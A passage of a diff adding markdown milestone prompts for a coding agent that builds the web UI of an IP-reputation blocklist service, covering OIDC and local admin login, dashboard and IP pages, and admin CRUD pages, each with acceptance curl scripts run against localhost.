+- Maps non-2xx responses to typed exceptions: `ApiAuthException` (401/403), `ApiValidationException` (400/422 — carries field errors), `ApiNotFoundException` (404), `ApiServerException` (5xx), `ApiUnreachableException` (network/timeout).
+- Subclients per endpoint group:
+  - `AuthClient` — `upsertOidc(...)`, `upsertLocal(...)`.
+  - `AdminClient` — `getMe()`, plus stubs for endpoints used in M09–M12. **Don't implement subclient methods you don't yet need; M09+ adds them as needed.**
+
+DTOs in `ui/src/ApiClient/DTOs/` — small classes mirroring API response shapes (`UserDto`, `PolicyDto`, etc.). Strict types; no array soup leaking into controllers.
+
+### 4. OIDC flow
+
+In `ui/src/Auth/OidcController.php`:
+
+- `GET /login/oidc` — initiates flow. Generates state + code-verifier + nonce; stores in session; redirects to Entra authorize endpoint with PKCE.
+- `GET /oidc/callback`:
+  1. Validates state.
+  2. Exchanges code for tokens via the OIDC client.
+  3. Validates the ID token (signature, issuer, audience, expiry, nonce).
+  4. Extracts `sub`, `email` (or `preferred_username` if email absent), `name`, `groups` (array of group object IDs).
+  5. Calls `AuthClient::upsertOidc($sub, $email, $displayName, $groups)`.
+  6. If the API returns a user with role `none` (or however your `OIDC_DEFAULT_ROLE=none` case surfaces), redirect to a "no access" page rather than logging in.
+  7. Calls `SessionManager::regenerateId()`, then `setUser(...)`.
+  8. Redirects to `/app/me` (the session manager remembers a `next` URL if one was set pre-auth).
+
+Use `jumbojett/openid-connect-php`. Configure scopes: `openid profile email`. The `groups` claim must already be present in the ID token from Entra; document that in `doc/oidc.md`.
+
+### 5. Local admin login
+
+In `ui/src/Auth/LocalLoginController.php`:
+
+- `GET  /login` — renders the login form.
+- `POST /login/local`:
+  1. CSRF check (handled by middleware, but verify it's wired).
+  2. Validate username matches `LOCAL_ADMIN_USERNAME`.
+  3. `password_verify` against `LOCAL_ADMIN_PASSWORD_HASH`.
+  4. Throttle: track failed attempts in session + a small in-memory backoff. After 5 failures: 30-second lockout. (Full brute-force protection is M14; this is the basic version.)
+  5. On success: `AuthClient::upsertLocal($username)`, regenerate session, `setUser(...)`, redirect to `/app/me`.
+  6. On failure: flash error, redirect back to `/login`.
+- Hide local sign-in entirely if `LOCAL_ADMIN_ENABLED=false`.
+
+### 6. Logout
+
+- `POST /logout` — clears session, redirects to `/login`. CSRF-protected.
+
+### 7. Pages
+
+In `ui/resources/views/`:
+
+- `layout.twig` — full layout: top nav (logo, search-box stub, dark-mode toggle button, user menu with logout), sidebar (placeholder links to Dashboard, IPs, Subnets, Allowlist, Policies, Reporters, Consumers, Tokens, Categories, Audit, Settings — these aren't built yet, but the nav structure is).
+- `pages/login.twig` — clean centered card. "Sign in with Microsoft" primary button (only if `OIDC_ENABLED=true`), "Local sign-in" collapsed/hidden behind a link (only if `LOCAL_ADMIN_ENABLED=true`).
+- `pages/me.twig` — `/app/me`: shows user_id, email, display_name, role, source ("oidc" / "local"). Includes a "Logout" button (POSTs).
+- `pages/no-access.twig` — for OIDC users who land here without a role grant.
+- `pages/error.twig` — generic error template.
+- `partials/topnav.twig`, `partials/sidebar.twig`, `partials/flash.twig`, `partials/csrf.twig`.
+
+Tailwind: dark mode via `class="dark"` toggled by JS on `<html>`. Persist to `localStorage` (key `irdb-theme`). Default to system preference on first visit. Use `prefers-color-scheme` media query as fallback.
+
+Alpine for the dark-mode toggle and the user menu dropdown. htmx not strictly needed yet but the pattern should be established for M09's tables.
+
+### 8. Healthz update
+
+`GET /healthz` in the ui:
+- Returns `200` always (unless the ui itself is broken).
+- Body includes `api_reachable` (boolean, last status) and `last_api_check_at` (ISO 8601 of most recent successful HEAD on `<API_BASE_URL>/healthz`).
+- A background ticker is overkill — just remember the most recent ApiClient call's success/failure in a singleton service. If no API call has happened yet, both fields are null.
+
+### 9. Configuration
+
+Read these env vars (all UI-side, per SPEC §9):
+- `OIDC_ENABLED`, `OIDC_ISSUER`, `OIDC_CLIENT_ID`, `OIDC_CLIENT_SECRET`, `OIDC_REDIRECT_URI`.
+- `LOCAL_ADMIN_ENABLED`, `LOCAL_ADMIN_USERNAME`, `LOCAL_ADMIN_PASSWORD_HASH`.
+- `UI_SERVICE_TOKEN`, `API_BASE_URL`.
+- `UI_SECRET`, `PUBLIC_URL`, `APP_ENV`, `LOG_LEVEL`.
+
+Validate at startup: log a clear error and exit non-zero if `UI_SERVICE_TOKEN` or `API_BASE_URL` are missing. If both `OIDC_ENABLED=false` and `LOCAL_ADMIN_ENABLED=false`, exit non-zero (no way to log in).
+
+### 10. OIDC documentation stub
+
+Create `doc/oidc.md` with the steps you actually used to set up Entra ID for testing:
+- App registration creation
+- Redirect URI
+- Client secret
+- API permissions (and consent)
+- Group claim configuration in token configuration / app manifest
+- Test user assignment
+
+Keep it factual; M13 will polish.
+
+## Implementation notes
+
+- **`upsertOidc` failure modes**: if the API returns 5xx, render an error page with retry. If it returns the user with role `viewer` and you're redirecting to `/app/me` (where they can see their identity but nothing else yet), that's correct behavior. The "no role" case (when `OIDC_DEFAULT_ROLE=none` and no group matches) needs a clear "no access — contact admin" page.
+- **Session fixation**: regenerate session ID on every auth-state change (login success, logout). Sessions before login should not carry over.
+- **CSRF on logout**: yes, even logout. Otherwise CSRF can log users out unexpectedly.
+- **htmx + CSRF**: htmx requests must include the CSRF token. Use the standard pattern of a meta tag in `layout.twig` and an htmx config that pulls it.
+- **Dark mode FOUC**: prevent flash by inlining a tiny script in `<head>` that reads `localStorage` and applies the class before the body renders.
+- **API unreachable**: when ApiClient throws `ApiUnreachableException`, the relevant page should render a friendly degraded state (sidebar still visible, content area shows "API unreachable; retrying in 30s"). Don't crash the whole UI.
+- **Tests**:
+  - Unit: SessionManager, ApiClient exception mapping, CSRF middleware.
+  - Integration: spin up the ui Slim app with a mocked ApiClient. Verify login flows, redirects, session set, CSRF rejection.
+  - You can mock OIDC; full OIDC integration tests against a real tenant are out of scope (manual verification suffices).
+
+## Out of scope (DO NOT)
+
+- Any UI page beyond `/login`, `/oidc/callback`, `/app/me`, `/no-access`, errors. M09 onward.
+- Calling admin endpoints other than `/api/v1/admin/me`. M09+.
+- Token entry list, IP search, dashboard charts, etc. M09+.
+- Audit display. M12.
+- Settings page with job triggers. M12.
+- Brute-force lockout beyond the basic 5-fail/30s. Full version M14.
+- Rate-limiting the UI. M14.
+- New api endpoints. (If you find you need one, stop and reconsider — likely M09+ work creeping in.)
+- Touching `api/` code at all. UI-only milestone.
+
+## Acceptance
+
+```bash
+cd ui && composer cs && composer stan && composer test && cd ..
+cd ui && npm ci && npm run build && cd ..
+
+docker compose down -v
+cp .env.example .env
+# Set: UI_SERVICE_TOKEN matches between containers
+# Set: LOCAL_ADMIN_ENABLED=true, LOCAL_ADMIN_USERNAME=admin
+# Generate hash: php -r 'echo password_hash("test1234", PASSWORD_ARGON2ID);'
+# Set: LOCAL_ADMIN_PASSWORD_HASH=<that hash>
+# OIDC: leave with placeholder issuer/client_id/secret unless you have a tenant ready
+docker compose up -d
+sleep 20
+
+# UI returns login page when not authenticated
+curl -s http://localhost:8080/ -L | grep -q "Sign in"
+
+# Healthz works on UI
+curl -sf http://localhost:8080/healthz | grep -q '"status":"ok"'
+
+# /app/me unauthenticated redirects to /login
+test "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:8080/app/me)" = "302"
+
+# Local admin login flow (CSRF-aware)
+COOKIE_JAR=$(mktemp)
+# 1. GET /login to obtain a session + CSRF token
+LOGIN_PAGE=$(curl -s -c $COOKIE_JAR http://localhost:8080/login)
+CSRF=$(echo "$LOGIN_PAGE" | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+[ -n "$CSRF" ]
+# 2. POST credentials
+curl -s -b $COOKIE_JAR -c $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&username=admin&password=test1234" \
+  http://localhost:8080/login/local -L -o /tmp/me_response.html
+grep -q "admin@local" /tmp/me_response.html || grep -q '"role":"admin"' /tmp/me_response.html || grep -qi "local admin" /tmp/me_response.html
+
+# Wrong password is rejected
+COOKIE_JAR2=$(mktemp)
+LOGIN_PAGE=$(curl -s -c $COOKIE_JAR2 http://localhost:8080/login)
+CSRF=$(echo "$LOGIN_PAGE" | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+RESP=$(curl -s -b $COOKIE_JAR2 -c $COOKIE_JAR2 -X POST \
+  -d "csrf_token=$CSRF&username=admin&password=WRONG" \
+  http://localhost:8080/login/local -L)
+echo "$RESP" | grep -qi "invalid\|incorrect\|failed"
+
+# CSRF without token is rejected
+test "$(curl -s -o /dev/null -w '%{http_code}' -X POST \
+  -d "username=admin&password=test1234" \
+  http://localhost:8080/login/local)" = "403"
+
+# Logout
+curl -s -b $COOKIE_JAR -c $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF" \
+  http://localhost:8080/logout -L > /dev/null
+# After logout, /app/me redirects to /login
+test "$(curl -s -b $COOKIE_JAR -o /dev/null -w '%{http_code}' http://localhost:8080/app/me)" = "302"
+
+docker compose down -v
+```
+
+OIDC flow against a real tenant: manual verification. Document the test in `PROGRESS.md`.
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M08): ui scaffold, OIDC + local admin auth, session, ApiClient
+
+   - Slim+Twig+Tailwind base with dark-mode toggle and sidebar/topnav layout
+   - ApiClient with auto Bearer + X-Acting-User-Id, retry, typed exceptions
+   - OIDC code-flow with PKCE; ID token validation; upsert-oidc → session
+   - Local admin login with Argon2id verify, basic 5-fail/30s throttle
+   - logout, CSRF-protected; CSRF middleware globally
+   - /app/me renders user identity, /no-access for unmapped OIDC users
+   - doc/oidc.md drafted with Entra setup steps
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M08 — UI scaffold & auth (done)
+
+   **Built:** UI base, both auth paths, sessions, ApiClient.
+
+   **Notes for next milestone:**
+   - AdminClient has only `getMe()`; M09 adds methods for IP search, IP detail, etc.
+   - The ApiClient's exception types are stable; M09+ catches them in controllers.
+   - Sidebar links exist but most lead to "not implemented" placeholders. M09–M12 fills them.
+   - dark mode persistence: `localStorage.irdb-theme = 'dark' | 'light'`.
+   - M14 will replace the basic 5/30 throttle with a full brute-force lockout.
+
+   **Manual verification:**
+   - OIDC flow against [tenant name / "test tenant configured at ..."]: succeeded for users in groups [...].
+   - Tested role mapping by [...].
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** [list, e.g. jumbojett/openid-connect-php was already in SPEC §2].
+   ```
+
+3. **Stop.** Do not start M09.

+ 229 - 0
doc/development/files/M09-ui-ips-history-dashboard.md

@@ -0,0 +1,229 @@
+# M09 — UI: IPs, History, Dashboard
+
+> Fresh Claude Code agent prompt. M08 must be complete and committed.
+> Estimated effort: medium.
+
+## Mission
+
+Build the three core read-only UI pages: Dashboard, IPs list (search/filter/paginate), and IP Detail (enrichment placeholder, scores per category, history timeline). Add the corresponding API admin endpoints for the data: an IP search endpoint, an IP detail endpoint, and a dashboard stats endpoint. **Read-only this milestone** — no manual block buttons or tokens UI yet (M10).
+
+## Before you start
+
+1. Verify M08:
+   ```bash
+   git log --oneline -8
+   cd api && composer test && cd ..
+   cd ui  && composer test && cd ..
+   ```
+2. Read `SPEC.md` §6 (Admin API endpoints — `/api/v1/admin/ips/{ip}`, `/api/v1/admin/ips?...`, `/api/v1/admin/stats/dashboard`), §7 (Web UI Pages — Dashboard, IPs, IP Detail).
+3. Confirm clean tree.
+
+## Tasks
+
+### 1. API: Admin IP endpoints
+
+In `api/src/Application/Admin/IpsController.php`:
+
+- `GET /api/v1/admin/ips?q=&category=&min_score=&max_score=&country=&asn=&status=&page=&page_size=`
+  - `q`: substring match on `ip_text` (efficient with index — use `LIKE 'prefix%'` when the query looks like an IP prefix).
+  - `category`: filter to IPs with score in this category above 0.
+  - `min_score`, `max_score`: numeric range; applies to `MAX(score)` across all categories.
+  - `country` (2-letter), `asn` (integer): from `ip_enrichment` (table exists; data lands in M11 — return null/blank gracefully now).
+  - `status`: one of `scored | manual | allowlisted | clean` (uses `EffectiveStatusService` from M06 + this milestone's score check).
+  - Returns `{items: [...], page, page_size, total}`.
+- `GET /api/v1/admin/ips/{ip}` — `ip` is URL-encoded; parse via `IpAddress::fromString` (404 on bad).
+  - Returns:
+    ```json
+    {
+      "ip": "203.0.113.42",
+      "is_ipv4": true,
+      "scores": [{"category":"brute_force","score":2.34,"last_report_at":"...","report_count_30d":12}, ...],
+      "enrichment": {"country_code":null,"asn":null,"as_org":null,"enriched_at":null},
+      "status": "scored",
+      "manual_block": null,
+      "allowlist": null,
+      "history": [
+        {"type":"report","received_at":"...","category":"brute_force","reporter":"web-prod-01","weight":1.0,"metadata":{...}},
+        {"type":"manual_block_added","at":"...","actor":"admin@example","reason":"..."},
+        ...
+      ]
+    }
+    ```
+  - History combines `reports`, `manual_blocks` events, `allowlist` events, audit entries about this IP. Reports are the bulk; manual/allowlist events come from creation+deletion timestamps.
+  - Limit history to most recent 200 entries; include `has_more: bool`.
+
+- `GET /api/v1/admin/stats/dashboard` — returns:
+  ```json
+  {
+    "active_blocks": <count of IPs currently in any policy's blocklist using "moderate" as default reference>,
+    "manual_blocks_count": ...,
+    "allowlist_count": ...,
+    "reports_24h": ...,
+    "reports_24h_by_hour": [{"hour":"2026-04-27T15:00Z","count":42}, ...],
+    "top_reporters_24h": [{"name":"web-prod-01","count":120}, ...],
+    "top_categories_24h": [{"slug":"brute_force","count":300}, ...],
+    "jobs_status": [{"name":"recompute-scores","last_finished_at":"...","status":"success","overdue":false}, ...]
+  }
+  ```
+  - Cache for 30s in-memory.
+
+RBAC: `Viewer` for all three.
+
+### 2. UI: AdminClient extensions
+
+In `ui/src/ApiClient/AdminClient.php`:
+
+- `searchIps(array $filters, int $page, int $pageSize): IpListDto`
+- `getIp(string $ip): IpDetailDto`
+- `getDashboardStats(): DashboardStatsDto`
+
+DTOs match the API shapes. Use simple constructors.
+
+### 3. UI: Pages
+
+In `ui/src/Controllers/`:
+
+- `DashboardController.php` — `GET /app/dashboard`. Renders `pages/dashboard.twig` with stats. Server-side render; the chart uses Chart.js via CDN-vendored static asset (already npm-installable via `chart.js`).
+- `IpsController.php`:
+  - `GET /app/ips` — list page with filters (form fields with htmx for live filter optional).
+  - `GET /app/ips/{ip}` — detail page.
+
+Templates in `ui/resources/views/pages/`:
+- `dashboard.twig` — top counts in cards; line chart of reports/hour for last 24h; tables for top reporters and top categories; jobs status list (don't add manual triggers — those are M12).
+- `ips/index.twig` — filter form (q, category dropdown, score range, country, ASN, status), paginated table. Columns: IP (link to detail), country flag (placeholder if no enrichment), ASN, top category, total score, last report relative time, status pill.
+- `ips/detail.twig` — header with IP and status pill; enrichment panel (greys out gracefully when null); score-per-category bars (CSS-only, no JS); history timeline (server-rendered; show "Load older" button or pagination if history is large).
+
+### 4. Routes & nav
+
+Update `ui/src/App/Routes.php`:
+- After login, default redirect to `/app/dashboard` (was `/app/me` in M08).
+- All `/app/*` routes require an authenticated session; otherwise redirect to `/login` with a `next` parameter.
+
+Update `partials/sidebar.twig` to highlight the active section.
+
+### 5. Dark mode polish
+
+- Verify all three pages render cleanly in both modes.
+- Status pills: use Tailwind color tokens that work in dark mode (e.g. `bg-red-100 text-red-900 dark:bg-red-900 dark:text-red-100`).
+
+### 6. Accessibility
+
+- All interactive elements keyboard-reachable.
+- Form labels properly associated.
+- Color contrast meets WCAG AA in both modes.
+- The agent should run a Lighthouse accessibility check on the IPs list and detail pages and fix any score below 90.
+
+### 7. RBAC visibility
+
+- Viewer: sees everything on these three pages.
+- Operator and Admin: same. (No write actions on these pages this milestone.)
+
+## Implementation notes
+
+- **Pagination**: use page+page_size, default `page_size=25`, cap at `200`. Cursor pagination would be better for huge tables but isn't worth it here.
+- **Searching by IP prefix**: index `(ip_text)` on `reports`, `ip_scores`, `ip_enrichment`, `manual_blocks`, `allowlist` — most exist already; verify and add if missing via a small migration. Document in PROGRESS.md.
+- **Dashboard chart**: render a 24-bucket bar/line chart via Chart.js. Server pre-buckets by hour to avoid 1000s of points.
+- **History query performance**: when an IP has thousands of reports, joining history across multiple sources can be slow. Materialize the union via a single query that selects from each source with `received_at`/`created_at` aliased uniformly, then ORDER+LIMIT.
+- **`country_code` flag**: render as a Unicode regional indicator pair if present (e.g. "US" → 🇺🇸). Fall back to a 2-char text pill if the font doesn't render emoji flags.
+- **Tests**:
+  - api: integration tests for each endpoint with seeded data.
+  - ui: integration tests with mocked AdminClient verifying the templates render expected text/structures. No need for browser-level tests.
+
+## Out of scope (DO NOT)
+
+- Manual block / allowlist creation buttons on the IP detail page. M10.
+- Token, reporter, consumer, policy, category management UI. M10.
+- Audit log UI. M12.
+- Settings page. M12.
+- Real GeoIP enrichment values. M11. The endpoint shape includes the fields; data is null until M11.
+- Charts beyond the dashboard line chart (no per-category trend page, no global trends, etc.).
+- New api endpoints beyond the three listed.
+- htmx live-search / infinite scroll. Pagination is fine.
+- New dependencies (Chart.js is allowed if not already present; record in PROGRESS.md).
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+cd ui  && composer cs && composer stan && composer test && cd ..
+cd ui  && npm ci && npm run build && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 20
+
+# Seed some data via the API to make pages non-empty
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+# Create a reporter + token; submit a few reports across categories; verify they show
+REPORTER=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"name":"test-reporter","trust_weight":1.0}' \
+  http://localhost:8081/api/v1/admin/reporters)
+RID=$(echo "$REPORTER" | php -r 'echo json_decode(stream_get_contents(STDIN),true)["id"];')
+RESP=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d "{\"kind\":\"reporter\",\"reporter_id\":$RID}" http://localhost:8081/api/v1/admin/tokens)
+RT=$(echo "$RESP" | php -r 'echo json_decode(stream_get_contents(STDIN),true)["raw_token"];')
+for ip in 203.0.113.10 203.0.113.11 2001:db8::1; do
+  curl -s -X POST -H "Authorization: Bearer $RT" -H "Content-Type: application/json" \
+    -d "{\"ip\":\"$ip\",\"category\":\"brute_force\"}" http://localhost:8081/api/v1/report > /dev/null
+done
+
+# Login as local admin (re-use the M08 acceptance flow), then:
+COOKIE_JAR=$(mktemp)
+CSRF=$(curl -s -c $COOKIE_JAR http://localhost:8080/login | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+curl -s -b $COOKIE_JAR -c $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&username=admin&password=test1234" \
+  http://localhost:8080/login/local -L > /dev/null
+
+# Dashboard renders with non-zero counts
+curl -s -b $COOKIE_JAR http://localhost:8080/app/dashboard | grep -qi "reports"
+curl -s -b $COOKIE_JAR http://localhost:8080/app/dashboard | grep -q "203.0.113"   # at least one IP-related counter
+
+# IPs list shows our reported IPs
+curl -s -b $COOKIE_JAR http://localhost:8080/app/ips | grep -q "203.0.113.10"
+
+# Filter by IPv6
+curl -s -b $COOKIE_JAR "http://localhost:8080/app/ips?q=2001" | grep -q "2001:db8::1"
+
+# IP detail page
+curl -s -b $COOKIE_JAR http://localhost:8080/app/ips/203.0.113.10 | grep -q "brute_force"
+
+# Bad IP → 404 page
+test "$(curl -s -b $COOKIE_JAR -o /dev/null -w '%{http_code}' http://localhost:8080/app/ips/not-an-ip)" = "404"
+
+# Lighthouse-equivalent: at minimum, run htmx-side tests for accessibility attributes
+# (manual: open in a browser and run Lighthouse; aim ≥90)
+
+docker compose down -v
+```
+
+## Handoff
+
+1. Commit:
+   ```
+   feat(M09): UI dashboard, IPs list, IP detail; matching admin API endpoints
+
+   - GET /api/v1/admin/ips, /ips/{ip}, /stats/dashboard
+   - dashboard with Chart.js (24h reports), top reporters/categories, jobs status
+   - IP search with q/category/score/country/asn/status filters + pagination
+   - IP detail: scores per category, history timeline (reports + manual events)
+   - dark mode polished; Lighthouse a11y ≥90 on both pages
+   ```
+
+2. Append to `PROGRESS.md`:
+   ```markdown
+   ## M09 — UI: IPs, history, dashboard (done)
+
+   **Built:** read-only IP browsing UI; dashboard; matching admin endpoints.
+
+   **Notes for next milestone:**
+   - country flag and ASN show null/blank until M11 wires real GeoIP.
+   - "active_blocks" count on the dashboard uses the seeded "moderate" policy as the reference; document this default. M10/M12 may add a config knob for which policy is the dashboard reference.
+   - Manual block/allowlist buttons on IP detail are not present yet; the data is shown read-only. M10 adds the action buttons.
+   - Lighthouse score: [insert measured number].
+
+   **Deviations from SPEC:** none.
+   **Added dependencies:** chart.js (was in SPEC §2 React-libs note; here used directly via npm).
+   ```
+
+3. **Stop.** Do not start M10.

+ 197 - 0
doc/development/files/M10-ui-admin-crud-pages.md

@@ -0,0 +1,197 @@
+# M10 — UI: Admin CRUD Pages
+
+> Fresh Claude Code agent prompt. M09 must be complete and committed.
+> Estimated effort: large (lots of CRUD).
+
+## Mission
+
+Add UI pages for every admin domain: Subnets (manual blocks), Allowlist, Policies (with the threshold matrix editor), Reporters, Consumers, Tokens (raw token shown once), Categories (with decay-curve preview). Wire manual block/allowlist actions into the IP detail page. **Audit log UI and Settings page are still M12.**
+
+## Before you start
+
+1. Verify M09:
+   ```bash
+   git log --oneline -9
+   cd api && composer test && cd ..
+   cd ui  && composer test && cd ..
+   ```
+2. Read `SPEC.md` §6 (every Admin endpoint), §7 (every Page in the Pages section), §8 (RBAC matrix — confirm which roles can do what).
+3. The api endpoints needed mostly exist already (M04 reporters/consumers/tokens, M06 manual_blocks/allowlist, M07 policies). The new ones this milestone adds are categories CRUD.
+
+## Tasks
+
+### 1. API: Categories admin endpoints
+
+In `api/src/Application/Admin/CategoriesController.php`:
+
+- `GET    /api/v1/admin/categories`
+- `POST   /api/v1/admin/categories` — body `{slug, name, description, decay_function: "linear"|"exponential", decay_param: number, is_active: bool}`. Slug must be unique, lowercase, kebab-case.
+- `PATCH  /api/v1/admin/categories/{id}`
+- `DELETE /api/v1/admin/categories/{id}` — refuse if `policy_category_thresholds` references it OR `reports.category_id` references it (409 with usage info). Soft-delete via `is_active=false` is preferred when in use.
+
+RBAC: `Admin` for write, `Viewer` for read.
+
+### 2. UI: AdminClient extensions
+
+Add methods for everything the new pages need: list/get/create/update/delete on policies, reporters, consumers, tokens, categories, manual_blocks, allowlist. Use the typed exceptions established in M08.
+
+### 3. UI Pages
+
+Build under `ui/resources/views/pages/`:
+
+- `subnets/index.twig` — list of manual blocks with kind=`subnet`. Create form: CIDR input, reason, optional expiry. Single-IP manual blocks are still managed (use the same controller, separate "single IPs" tab if it helps clarity).
+- `manual-blocks/index.twig` — combined list (or two tabs: IPs and Subnets). Recommended: one page with a `kind` filter pill at the top.
+- `allowlist/index.twig` — same shape as manual-blocks but for allowlist entries. No expiry field.
+- `policies/index.twig` — list view.
+- `policies/edit.twig` — the threshold matrix editor: rows = categories, columns = ["threshold"]. Numeric input per category; "remove from policy" button to delete the threshold row. Below the matrix: a live "preview" panel that calls `GET /api/v1/admin/policies/{id}/preview` and shows the resulting count + first 50 entries. Debounce the preview (e.g., htmx + 500ms hx-trigger).
+- `reporters/index.twig`, `reporters/edit.twig` — list and edit. Show `trust_weight` prominently; a small explainer ("0–2.0; 1.0 default; affects how heavily this reporter influences scores").
+- `consumers/index.twig`, `consumers/edit.twig` — list and edit. Show assigned policy with a dropdown.
+- `tokens/index.twig` — list of all non-service tokens. Columns: kind, prefix, target (reporter/consumer name or "admin role"), expires_at, revoked_at, last_used_at. Actions: revoke. Top of page: "+ New token" button → modal with kind selector and conditional fields. On creation: success modal showing the raw token in a monospace block, a copy-to-clipboard button, and a clear "this is the only time you'll see this token" warning. Modal must require explicit dismissal.
+- `categories/index.twig`, `categories/edit.twig` — list and edit. Edit page includes:
+  - decay_function radio (linear / exponential).
+  - decay_param numeric input with appropriate unit label ("days to zero" / "half-life days").
+  - Live preview chart: a small SVG (or Chart.js) showing the decay curve over 0–60 days. Pure client-side math; no API call. Must update reactively as the user changes inputs.
+
+### 4. IP Detail action buttons
+
+On `ui/resources/views/pages/ips/detail.twig`, add (visible per RBAC):
+- "Add to allowlist" button (Operator+) — opens a modal with a reason field, POSTs to `/api/v1/admin/allowlist`.
+- "Manually block" button (Operator+) — opens a modal with a reason field and an optional expiry, POSTs to `/api/v1/admin/manual-blocks`.
+- If the IP is already manually blocked: "Remove manual block" button.
+- If the IP is on the allowlist: "Remove from allowlist" button.
+
+After any mutation, re-render the page (or do an htmx swap) so status reflects immediately. The CidrEvaluator from M06 should already invalidate; just make sure the api round-trip retrieves fresh data.
+
+### 5. RBAC enforcement (UI side)
+
+- Hide buttons/links the user can't use.
+- Always treat UI hiding as cosmetic; the api enforces. Test that an Operator clicking through to a forbidden URL gets a friendly error page rather than an exception.
+
+### 6. Sidebar updates
+
+Wire each section as a working link. Active highlighting per current section.
+
+### 7. Confirmation modals
+
+All destructive actions (delete reporter, delete consumer, revoke token, delete category, delete policy, remove manual block, remove allowlist entry) require a confirmation modal. Modal pattern: small Twig partial reused everywhere, Alpine for show/hide, HTML `<form method="post" action="...">` inside.
+
+## Implementation notes
+
+- **Token creation modal**: render server-side after POST /admin/tokens succeeds. The page reloads with a `?just_created=<id>` param; the page reads it once and shows the modal. Don't pass the raw token in the URL — store it in the flash session and clear after display.
+- **Policy threshold editor**: there are at most ~20 categories typically. A simple HTML table is fine. For each row: category slug + name, current threshold input, "remove" button, "add category to policy" select+button at the bottom.
+- **Decay curve preview**: a small Alpine component computes 60 sample points and renders them in an SVG path. ~30 lines of JS. Avoid pulling in a charting lib for this single curve.
+- **htmx for inline updates**: the threshold editor's preview pane is the prime use case. Other CRUD pages can be plain forms with full page reload — that's simpler and less buggy.
+- **Validation feedback**: when the api returns 400/422 with field errors, surface them inline on the form. The DTO/error mapping in `ApiClient` from M08 should already give you a `ValidationException` with field-level details.
+- **Tests**:
+  - api: integration tests for the new categories endpoints.
+  - ui: integration tests with mocked AdminClient verifying each CRUD page renders and submits correctly. Cover one happy path and one validation-error path per resource.
+
+## Out of scope (DO NOT)
+
+- Audit log UI (M12).
+- Settings page (M12).
+- User management UI (`/admin/users`, role-mapping CRUD) — sketch in nav as a placeholder; the api endpoints exist but the UI pages are M12 alongside settings. Or: defer entirely. Pick one and document.
+- Bulk operations (multi-select delete, mass token revocation). Future work.
+- Inline editing on list pages (htmx cells). Edit pages are fine.
+- New api endpoints beyond categories CRUD.
+
+## Acceptance
+
+```bash
+cd api && composer cs && composer stan && composer test && cd ..
+cd ui  && composer cs && composer stan && composer test && cd ..
+cd ui  && npm run build && cd ..
+
+docker compose down -v
+cp .env.example .env
+docker compose up -d
+sleep 20
+
+ADMIN_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=admin --quiet)
+
+# Login as local admin
+COOKIE_JAR=$(mktemp)
+CSRF=$(curl -s -c $COOKIE_JAR http://localhost:8080/login | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4)
+curl -s -b $COOKIE_JAR -c $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&username=admin&password=test1234" \
+  http://localhost:8080/login/local -L > /dev/null
+
+# Each list page renders
+for p in subnets allowlist policies reporters consumers tokens categories; do
+  curl -sf -b $COOKIE_JAR http://localhost:8080/app/$p > /dev/null
+done
+
+# Create a manual block via the UI
+CSRF=$(curl -s -b $COOKIE_JAR http://localhost:8080/app/subnets | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4 | head -1)
+curl -s -b $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&kind=subnet&cidr=192.0.2.0/24&reason=test" \
+  http://localhost:8080/app/manual-blocks -L > /dev/null
+# Verify it persisted in the api
+curl -sf -H "Authorization: Bearer $ADMIN_TOKEN" \
+  http://localhost:8081/api/v1/admin/manual-blocks | grep -q "192.0.2.0/24"
+
+# Operator role cannot delete a token (only admin can)
+docker compose exec -T api php bin/console auth:create-token --kind=admin --role=operator --quiet
+# (Manual: log out, log back in via OIDC as an operator-mapped user, verify token-delete button is absent
+#  and that direct POST is rejected. For automated check, hit the api directly with an operator token.)
+OP_TOKEN=$(docker compose exec -T api php bin/console auth:create-token --kind=admin --role=operator --quiet)
+TOKEN_ID=$(curl -s -H "Authorization: Bearer $ADMIN_TOKEN" http://localhost:8081/api/v1/admin/tokens \
+  | php -r '$j=json_decode(stream_get_contents(STDIN),true); echo $j["items"][0]["id"];')
+test "$(curl -s -o /dev/null -w '%{http_code}' \
+  -X DELETE -H "Authorization: Bearer $OP_TOKEN" \
+  http://localhost:8081/api/v1/admin/tokens/$TOKEN_ID)" = "403"
+
+# Token creation modal flow (via the UI's session)
+CSRF=$(curl -s -b $COOKIE_JAR http://localhost:8080/app/tokens | grep -oE 'name="csrf_token" value="[^"]+"' | cut -d'"' -f4 | head -1)
+RESP=$(curl -s -b $COOKIE_JAR -X POST \
+  -d "csrf_token=$CSRF&kind=admin&role=viewer" \
+  http://localhost:8080/app/tokens -L)
+echo "$RESP" | grep -q "irdb_adm_"   # raw token displayed in the response
+
+# Categories: create, then refuse delete because in use
+RESP=$(curl -s -X POST -H "Authorization: Bearer $ADMIN_TOKEN" -H "Content-Type: application/json" \
+  -d '{"slug":"phishing","name":"Phishing","description":"...","decay_function":"exponential","decay_param":14,"is_active":true}' \
+  http://localhost:8081/api/v1/admin/categories)
+CID=$(echo "$RESP" | php -r 'echo json_decode(stream_get_contents(STDIN),true)["id"];')
+# Add it to a policy
+PID=$(curl -s -H "Authorization: Bearer $ADMIN_TOKEN" http://localhost:8081/api/v1/admin/policies \
+  | php -r '$j=json_decode(stream_get_contents(STDIN),true); echo $j["items"][0]["id"];')
